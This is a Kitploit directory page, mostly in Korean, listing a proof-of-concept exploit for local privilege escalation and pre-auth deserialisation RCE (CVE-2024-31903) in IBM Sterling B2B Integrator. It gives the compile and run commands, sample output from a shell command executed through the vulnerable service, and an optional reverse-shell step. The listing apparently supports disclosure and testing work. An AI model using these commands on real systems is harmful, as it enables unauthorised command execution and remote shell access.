Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ibm-sterling-b2b-integrator-poc — IBM Sterling B2B Integrator 대상 LPE 및 RCE(CVE-2024-31903) 공격을 위한 PoC 코드 | Kitploit
도구/GitHubGitHub/reverseclabs/ibm-sterling-b2b-integrator-poc
Vulnerability AnalysisExploitationPenetration TestingCommand and ControlPayload DevelopmentBinary Exploitation
GitHubreverseclabs/ibm-sterling-b2b-integrator-poc

ibm-sterling-b2b-integrator-poc

IBM Sterling B2B Integrator 대상 LPE 및 RCE(CVE-2024-31903) 공격을 위한 PoC 코드

저장소 보기
111년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

IBM Sterling B2B Integrator PoC

Proof of concept code for the exploitation of the vulnerabilities discovered against IBM Sterling B2B Integrator, versions 6.2.0.0 to 6.2.0.2, and 6.0.0.0 to 6.1.2.5 for Linux, Windows and AIX systems:

  • LPE Command Injection - if authentication is disabled
  • Pre-auth Deserialisation RCE - assigned CVE-2024-31903, see the relevant IBM advisory here: https://www.ibm.com/support/pages/node/7172233

More details about these issues can be found in my DistricCon talk "To B or not 2B: Breaking the IBM B2B Integrator with, and without authentication":

https://www.districtcon.org/bios-and-talks-2025/to-b-or-not-to-b

저장소 구조

이 저장소의 대부분의 코드는 LPE 명령 주입 공격에 대한 것입니다.

Python 바이너리 클라이언트 bin_client.py는 CLA2에 수동으로 메시지를 전송하여 역직렬화 RCE 취약점을 악용할 수 있도록 합니다.

사용법

root@kitploit:~
$ java Main
$ Usage: Main <cmdLine> <outfile_or_SEND> [host] [port]

PoC는 두 개의 매개변수를 받습니다:

  • 대상 CLA2 클라이언트가 실행할 셸 명령
  • 직렬화된 Java 메시지를 디스크에 저장할 경로 (추후 분석하거나 bin_client.py와 같은 도구로 수동 전송), 또는 "SEND" 문자열을 입력하여 즉시 host:port로 전송 (CLA2 클라이언트가 수신 중인 곳)

지침

이 저장소에 포함된 소스 코드는 의도적으로 불완전합니다. CLA2 서브시스템의 특정 클래스가 필요하기 때문입니다. 설치 디렉터리의 파일 시스템 권한에 따라 JAR 파일에 접근할 수 있을 수도 있습니다.

JAR 디컴파일에서 관련 파일을 검색했다고 가정합니다. 이는 IBM IP를 구성하므로 여기에 업로드되지 않습니다.

  1. CLA2Client.jar 디컴파일

  2. 디컴파일된 코드에서 CmdLine2Result.java 및 CmdLine2Parms.java 파일을 찾습니다.

  3. 이를 Main.java 옆에 복사하여 원본 애플리케이션의 Java 패키지 디렉터리 구조를 복제합니다.

root@kitploit:~
/src/com/sterlingcommerce/woodstock/services/cmdline2/
  1. PoC 프로그램을 컴파일합니다 - 가능하면 애플리케이션에 포함된 JDK 사용을 권장합니다.
root@kitploit:~
${B2BHOME}/INSTALL/jdk/bin/javac src/com/sterlingcommerce/woodstock/services/cmdline2/*.java
  1. 실행합니다 - 다시, 가능하면 애플리케이션에 포함된 JDK를 사용합니다.
root@kitploit:~
${B2BHOME}/appl/SFG/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main '/bin/sh -c "id > /tmp/result"' SEND 127.0.0.1 5052
[+] Creating object...
[+] Sending object to 127.0.0.1:5052...
[+] ...Sent!
[+] Receiving header...
[+] ...header received: RESULT
[+] Receiving result...
[+] Result received:
##[DEBUG]## CmdLine2Result:
fileSize=0
outputNameLong=null
outputNameShort=null
******* end of CmdLine2Result *******
[+] clr.statusRpt:       null
[+] clr.exceptionString: null
[+] clr.somethingToLog:  CmdLine2Thread.runCommand: cmdLine before execution=/bin/sh -c "id > /tmp/result"
##[REMOTE DEBUG]## parm0=/bin/sh
##[REMOTE DEBUG]## parm1=-c
##[REMOTE DEBUG]## parm2=id > /tmp/result 
  1. (선택 사항) 완전한 대화형 셸을 얻으려면 revshell.py 및 revshell_listener.py 스크립트를 대상 시스템에 업로드하고 리스너를 시작합니다. 그런 다음 PoC의 명령 매개변수를 아래와 같이 리버스 셸 스크립트 호출로 바꿉니다:
root@kitploit:~
${B2BHOME}/INSTALL/jdk/bin/java -classpath src/ com.sterlingcommerce.woodstock.services.cmdline2.Main 'python3 /tmp/revshell.py 9090' SEND
도구 다운로드